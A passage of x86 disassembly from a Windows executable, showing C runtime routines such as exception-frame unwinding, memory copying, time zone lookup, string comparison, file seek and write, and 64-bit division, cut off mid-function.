push offset sub_41D364
push large dword ptr fs:0
mov large fs:0, esp
loc_41D3A3: ; CODE XREF: sub_41D386:loc_41D3DEj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D3E0
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D3E0
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D3DE
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D41A
call dword ptr [ebx+esi*4+8]
loc_41D3DE: ; CODE XREF: sub_41D386+44j
jmp short loc_41D3A3
; ---------------------------------------------------------------------------
loc_41D3E0: ; CODE XREF: sub_41D386+2Aj
; sub_41D386+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D386 endp
; =============== S U B R O U T I N E =======================================
sub_41D3EE proc near ; CODE XREF: sub_422A52+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D364
jnz short locret_41D410
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D410
mov eax, 1
locret_41D410: ; CODE XREF: sub_41D3EE+10j
; sub_41D3EE+1Bj
retn
sub_41D3EE endp
; =============== S U B R O U T I N E =======================================
sub_41D411 proc near ; CODE XREF: sub_422D10+1Ep
; sub_422D10+40p
push ebx
push ecx
mov ebx, offset dword_43CF9C
jmp short loc_41D424
sub_41D411 endp
; =============== S U B R O U T I N E =======================================
sub_41D41A proc near ; CODE XREF: sub_41D386+4Fp
; sub_423D9C+78p
push ebx
push ecx
mov ebx, offset dword_43CF9C
mov ecx, [ebp+8]
loc_41D424: ; CODE XREF: sub_41D411+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D41A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41D434 proc near ; CODE XREF: sub_40CEE3+5p
; sub_40D082+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D434 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D453 proc near ; CODE XREF: sub_40D515+22p
; .packed:00426DD5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B881
pop ecx
retn
sub_41D453 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D460 proc near ; CODE XREF: sub_40D582+3Ap
; sub_41E6A2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D480
cmp edi, eax
jb loc_41D5F8
loc_41D480: ; CODE XREF: sub_41D460+16j
test edi, 3
jnz short loc_41D49C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D4BC
rep movsd
jmp off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
loc_41D49C: ; CODE XREF: sub_41D460+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D4B4
and eax, 3
add ecx, eax
jmp dword ptr loc_41D4BC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D4B4: ; CODE XREF: sub_41D460+46j
jmp dword ptr loc_41D5B8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D4BC: ; CODE XREF: sub_41D460+31j
; sub_41D460+8Ej ...
jmp off_41D53C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D4D0
dd offset loc_41D4FC
dd offset loc_41D520
; ---------------------------------------------------------------------------
loc_41D4D0: ; DATA XREF: sub_41D460+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D4BC
rep movsd
jmp off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D4FC: ; DATA XREF: sub_41D460+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D4BC
rep movsd
jmp off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D520: ; DATA XREF: sub_41D460+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D4BC
rep movsd
jmp off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D53C dd offset loc_41D59F ; DATA XREF: sub_41D460:loc_41D4BCr
dd offset loc_41D58C
dd offset loc_41D584
dd offset loc_41D57C
dd offset loc_41D574
dd offset loc_41D56C
dd offset loc_41D564
dd offset loc_41D55C
; ---------------------------------------------------------------------------
loc_41D55C: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D564: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D56C: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D574: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D57C: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D584: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D58C: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D59F: ; CODE XREF: sub_41D460:loc_41D4BCj
; DATA XREF: sub_41D460:off_41D53Co
jmp off_41D5A8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D5A8 dd offset loc_41D5B8 ; DATA XREF: sub_41D460+35r
; sub_41D460+92r ...
dd offset loc_41D5C0
dd offset loc_41D5CC
dd offset loc_41D5E0
; ---------------------------------------------------------------------------
loc_41D5B8: ; CODE XREF: sub_41D460+35j
; sub_41D460+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D5C0: ; CODE XREF: sub_41D460+35j
; sub_41D460+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D5CC: ; CODE XREF: sub_41D460+35j
; sub_41D460+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D5E0: ; CODE XREF: sub_41D460+35j
; sub_41D460+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D5F8: ; CODE XREF: sub_41D460+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D62C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D620
std
rep movsd
cld
jmp off_41D740[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D620: ; CODE XREF: sub_41D460+1B1j
; sub_41D460+208j ...
neg ecx
jmp off_41D6F0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D62C: ; CODE XREF: sub_41D460+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D644
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D644+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D644: ; CODE XREF: sub_41D460+1D6j
; DATA XREF: sub_41D460+1DDr
jmp off_41D740[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D658
dd offset loc_41D678
dd offset loc_41D6A0
; ---------------------------------------------------------------------------
loc_41D658: ; DATA XREF: sub_41D460+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D620
std
rep movsd
cld
jmp off_41D740[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D678: ; DATA XREF: sub_41D460+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D620
std
rep movsd
cld
jmp off_41D740[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D6A0: ; DATA XREF: sub_41D460+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D620
std
rep movsd
cld
jmp off_41D740[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6F4
dd offset loc_41D6FC
dd offset loc_41D704
dd offset loc_41D70C
dd offset loc_41D714
dd offset loc_41D71C
dd offset loc_41D724
off_41D6F0 dd offset loc_41D737 ; DATA XREF: sub_41D460+1C2r
; ---------------------------------------------------------------------------
loc_41D6F4: ; DATA XREF: sub_41D460+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D6FC: ; DATA XREF: sub_41D460+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D704: ; DATA XREF: sub_41D460+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D70C: ; DATA XREF: sub_41D460+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D714: ; DATA XREF: sub_41D460+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D71C: ; DATA XREF: sub_41D460+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D724: ; DATA XREF: sub_41D460+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D737: ; CODE XREF: sub_41D460+1C2j
; DATA XREF: sub_41D460:off_41D6F0o
jmp off_41D740[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D740 dd offset loc_41D750 ; DATA XREF: sub_41D460+1B7r
; sub_41D460:loc_41D644r ...
dd offset loc_41D758
dd offset loc_41D768
dd offset loc_41D77C
; ---------------------------------------------------------------------------
loc_41D750: ; CODE XREF: sub_41D460+1B7j
; sub_41D460:loc_41D644j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D758: ; CODE XREF: sub_41D460+1B7j
; sub_41D460:loc_41D644j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D768: ; CODE XREF: sub_41D460+1B7j
; sub_41D460:loc_41D644j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D77C: ; CODE XREF: sub_41D460+1B7j
; sub_41D460:loc_41D644j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D460 endp
; =============== S U B R O U T I N E =======================================
sub_41D795 proc near ; CODE XREF: sub_40D5E9+34p
; sub_40D5E9+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BCB7
pop ecx
pop ecx
retn
sub_41D795 endp
; =============== S U B R O U T I N E =======================================
sub_41D7A3 proc near ; CODE XREF: sub_41D810+4p
arg_0 = dword ptr 4
push esi
push dword_4DF6DC
call sub_422E08
mov edx, dword_4DF6DC
pop ecx
mov ecx, dword_4DF6D8
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D802
push edx
call sub_422E08
add eax, 10h
push eax
push dword_4DF6DC
call sub_41B9D2
add esp, 0Ch
test eax, eax
jnz short loc_41D7E5
retn
; ---------------------------------------------------------------------------
loc_41D7E5: ; CODE XREF: sub_41D7A3+3Fj
mov ecx, dword_4DF6D8
sub ecx, dword_4DF6DC
mov dword_4DF6DC, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DF6D8, ecx
loc_41D802: ; CODE XREF: sub_41D7A3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DF6D8, 4
retn
sub_41D7A3 endp
; =============== S U B R O U T I N E =======================================
sub_41D810 proc near ; CODE XREF: sub_40D6D6+1Ap
; sub_426FDE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D7A3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D810 endp
; =============== S U B R O U T I N E =======================================
sub_41D822 proc near ; DATA XREF: .packed:0042A024o
push 80h
call sub_41BCA5
test eax, eax
pop ecx
mov dword_4DF6DC, eax
jnz short loc_41D843
push 18h
call sub_41E229
mov eax, dword_4DF6DC
pop ecx
loc_41D843: ; CODE XREF: sub_41D822+12j
and dword ptr [eax], 0
mov eax, dword_4DF6DC
mov dword_4DF6D8, eax
retn
sub_41D822 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D851 proc near ; CODE XREF: sub_40D86F+1A3p
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_428130 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_4281A8 ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_4DE09A
jnz short loc_41D8B6
mov ax, [ebp+var_18]
cmp ax, word_4DE098
jnz short loc_41D8B6
mov ax, [ebp+var_1A]
cmp ax, word_4DE096
jnz short loc_41D8B6
mov ax, [ebp+var_1E]
cmp ax, word_4DE092
jnz short loc_41D8B6
mov ax, [ebp+var_20]
cmp ax, word_4DE090
jnz short loc_41D8B6
mov eax, dword_4DE088
jmp short loc_41D8FB
; ---------------------------------------------------------------------------
loc_41D8B6: ; CODE XREF: sub_41D851+28j
; sub_41D851+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_4281A4 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_41D8E3
cmp eax, 2
jnz short loc_41D8DF
cmp [ebp+var_32], 0
jz short loc_41D8DF
cmp [ebp+var_24], 0
jz short loc_41D8DF
push 1
pop eax
jmp short loc_41D8E6
; ---------------------------------------------------------------------------
loc_41D8DF: ; CODE XREF: sub_41D851+7Aj
; sub_41D851+81j ...
xor eax, eax
jmp short loc_41D8E6
; ---------------------------------------------------------------------------
loc_41D8E3: ; CODE XREF: sub_41D851+75j
or eax, 0FFFFFFFFh
loc_41D8E6: ; CODE XREF: sub_41D851+8Cj
; sub_41D851+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DE090
movsd
movsd
movsd
movsd
pop edi
mov dword_4DE088, eax
pop esi
loc_41D8FB: ; CODE XREF: sub_41D851+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422E69
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D92B
mov [ecx], eax
locret_41D92B: ; CODE XREF: sub_41D851+D6j
leave
retn
sub_41D851 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D930 proc near ; CODE XREF: sub_40D86F+19p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DE0E4
cmp dword ptr [eax+8], 0
jnz short loc_41D983
mov al, 0FFh
mov edi, edi
loc_41D94C: ; CODE XREF: sub_41D930+28j
; sub_41D930+48j
or al, al
jz short loc_41D97E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D94C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D94C
sbb al, al
sbb al, 0FFh
loc_41D97E: ; CODE XREF: sub_41D930+1Ej
movsx eax, al
jmp short loc_41D9B7
; ---------------------------------------------------------------------------
loc_41D983: ; CODE XREF: sub_41D930+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D98C: ; CODE XREF: sub_41D930+68j
; sub_41D930+80j
or al, al
jz short loc_41D9B7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D98C
push eax
push ebx
call sub_41DF4C
mov ebx, eax
add esp, 4
call sub_41DF4C
add esp, 4
cmp bl, al
jz short loc_41D98C
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D9B7: ; CODE XREF: sub_41D930+51j
; sub_41D930+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D930 endp
; =============== S U B R O U T I N E =======================================
sub_41D9BC proc near ; CODE XREF: sub_40E453+193p
; sub_40E453+1DDp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
mov esi, offset dword_43F5D8
push edi
push esi
call sub_420C46
mov edi, eax
lea eax, [esp+10h+arg_4]
push eax
push [esp+14h+arg_0]
push esi
call sub_41FE9F
push esi
push edi
mov ebx, eax
call sub_420CD3
add esp, 18h
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_41D9BC endp
; =============== S U B R O U T I N E =======================================
sub_41D9ED proc near ; CODE XREF: sub_411DF4+26Ep
; sub_411DF4+377p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DA69
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41DA0C
cmp edi, 1
jz short loc_41DA0C
cmp edi, 2
jnz short loc_41DA69
loc_41DA0C: ; CODE XREF: sub_41D9ED+13j
; sub_41D9ED+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DA23
push esi
call sub_42307E
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_41DA23: ; CODE XREF: sub_41D9ED+27j
push esi
call sub_41E38B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DA38
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DA4C
; ---------------------------------------------------------------------------
loc_41DA38: ; CODE XREF: sub_41D9ED+42j
test al, 1
jz short loc_41DA4C
test al, 8
jz short loc_41DA4C
test ah, 4
jnz short loc_41DA4C
mov dword ptr [esi+18h], 200h
loc_41DA4C: ; CODE XREF: sub_41D9ED+49j
; sub_41D9ED+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_422FE4
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DA76
; ---------------------------------------------------------------------------
loc_41DA69: ; CODE XREF: sub_41D9ED+Bj
; sub_41D9ED+1Dj
mov dword_4DE02C, 16h
or eax, 0FFFFFFFFh
loc_41DA76: ; CODE XREF: sub_41D9ED+7Aj
pop edi
pop esi
retn
sub_41D9ED endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DA80 proc near ; CODE XREF: sub_413133+19Ep
; sub_413E88+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DA99
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DA99: ; CODE XREF: sub_41DA80+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DA80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DAB4 proc near ; CODE XREF: sub_41673A+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DAD8
xor eax, eax
jmp loc_41DBA5
; ---------------------------------------------------------------------------
loc_41DAD8: ; CODE XREF: sub_41DAB4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DAEB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DAF2
; ---------------------------------------------------------------------------
loc_41DAEB: ; CODE XREF: sub_41DAB4+2Dj
mov [ebp+arg_C], 1000h
loc_41DAF2: ; CODE XREF: sub_41DAB4+35j
; sub_41DAB4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DB26
mov eax, [esi+4]
test eax, eax
jz short loc_41DB26
cmp ebx, eax
mov edi, ebx
jb short loc_41DB0C
mov edi, eax
loc_41DB0C: ; CODE XREF: sub_41DAB4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call near ptr sub_41CAE0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DB6C
; ---------------------------------------------------------------------------
loc_41DB26: ; CODE XREF: sub_41DAB4+47j
; sub_41DAB4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DB71
test ecx, ecx
jz short loc_41DB3A
push esi
call sub_41E38B
test eax, eax
pop ecx
jnz short loc_41DBB3
loc_41DB3A: ; CODE XREF: sub_41DAB4+79j
cmp [ebp+arg_C], 0
jz short loc_41DB4D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DB4F
; ---------------------------------------------------------------------------
loc_41DB4D: ; CODE XREF: sub_41DAB4+8Aj
mov edi, ebx
loc_41DB4F: ; CODE XREF: sub_41DAB4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4231D6
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DBAA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DBAA
loc_41DB6C: ; CODE XREF: sub_41DAB4+70j
mov edi, [ebp+var_4]
jmp short loc_41DB9A
; ---------------------------------------------------------------------------
loc_41DB71: ; CODE XREF: sub_41DAB4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FD8A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DBB3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DB9A
mov [ebp+arg_C], 1
loc_41DB9A: ; CODE XREF: sub_41DAB4+BBj
; sub_41DAB4+DDj
test ebx, ebx
jnz loc_41DAF2
mov eax, [ebp+arg_8]
loc_41DBA5: ; CODE XREF: sub_41DAB4+1Fj
; sub_41DAB4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DBAA: ; CODE XREF: sub_41DAB4+ADj
; sub_41DAB4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DBB5
; ---------------------------------------------------------------------------
loc_41DBB3: ; CODE XREF: sub_41DAB4+84j
; sub_41DAB4+CFj
mov eax, edi
loc_41DBB5: ; CODE XREF: sub_41DAB4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DBA5
sub_41DAB4 endp
; =============== S U B R O U T I N E =======================================
sub_41DBBE proc near ; CODE XREF: sub_416E71+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_428098 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DBDE
call dword_42808C ; RtlGetLastWin32Error
push eax
call sub_420BDF
pop ecx
loc_41DBDA: ; CODE XREF: sub_41DBBE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DBDE: ; CODE XREF: sub_41DBBE+Dj
test al, 1
jz short loc_41DBFF
test [esp+arg_4], 2
jz short loc_41DBFF
mov dword_4DE02C, 0Dh
mov dword_4DE030, 5
jmp short loc_41DBDA
; ---------------------------------------------------------------------------
loc_41DBFF: ; CODE XREF: sub_41DBBE+22j
; sub_41DBBE+29j
xor eax, eax
retn
sub_41DBBE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DC10 proc near ; CODE XREF: sub_416E8B+3Fp
; sub_41B146+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DC32
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DC73
; ---------------------------------------------------------------------------
loc_41DC32: ; CODE XREF: sub_41DC10+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DC40: ; CODE XREF: sub_41DC10+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DC40
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DC6E
cmp edx, [esp+8+arg_4]
ja short loc_41DC6E
jb short loc_41DC6F
cmp eax, [esp+8+arg_0]
jbe short loc_41DC6F
loc_41DC6E: ; CODE XREF: sub_41DC10+4Ej
; sub_41DC10+54j
dec esi
loc_41DC6F: ; CODE XREF: sub_41DC10+56j
; sub_41DC10+5Cj
xor edx, edx
mov eax, esi
loc_41DC73: ; CODE XREF: sub_41DC10+20j
pop esi
pop ebx
retn 10h
sub_41DC10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DC80 proc near ; CODE XREF: sub_416E8B+2Dp
; sub_41B146+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DCA1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DCF1
; ---------------------------------------------------------------------------
loc_41DCA1: ; CODE XREF: sub_41DC80+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DCAF: ; CODE XREF: sub_41DC80+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCAF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DCDA
cmp edx, [esp+4+arg_4]
ja short loc_41DCDA
jb short loc_41DCE2
cmp eax, [esp+4+arg_0]
jbe short loc_41DCE2
loc_41DCDA: ; CODE XREF: sub_41DC80+4Aj
; sub_41DC80+50j
sub eax, [esp+4+arg_8]
